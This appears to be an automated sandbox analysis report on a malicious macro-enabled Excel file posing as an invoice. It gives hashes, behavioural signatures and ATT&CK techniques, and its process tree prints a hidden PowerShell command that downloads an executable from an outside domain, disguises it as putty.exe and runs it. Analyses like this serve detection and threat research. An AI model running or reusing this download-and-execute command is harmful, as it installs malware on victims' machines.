Overview

overview

10

Static

static

INV100720.xlsm

windows7_x64

10

INV100720.xlsm

windows10_x64

10

Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    11-07-2020 06:07

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General

  • Target

    INV100720.xlsm

  • Size

    399KB

  • MD5

    97d1bf3b13839cb70157bbebc2ab1f8c

  • SHA1

    b12d4e4b14d3b443e1abb9b6a5a9b6b74de2686a

  • SHA256

    9a63be97d600c50abdddc22afd998e25ddac5030bcc4846b97cf7e1932eae7b8

  • SHA512

    1bf7e0619db7bbf6bdf4a67608f5d74144ee114c769554e15af72bbd027d792f0e68cf36ea4839b6d37bafab14f73a240ef9d5381f83726a147e51a62e533bb0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://comawhimplet.com/nccd.exe

Signatures

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\INV100720.xlsm"
    1⤵
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    • Enumerates system info in registry
    PID:2536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://comawhimplet.com/nccd.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      PID:3952

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/2536-4-0x000002030D3D4000-0x000002030D3DA000-memory.dmp
    Filesize

    24KB

    Download
  • memory/2536-5-0x000002030D3D4000-0x000002030D3DA000-memory.dmp
    Filesize

    24KB

    Download
  • memory/2536-6-0x000002030D3D4000-0x000002030D3DA000-memory.dmp
    Filesize

    24KB

    Download
  • memory/3952-7-0x0000000000000000-mapping.dmp
    Download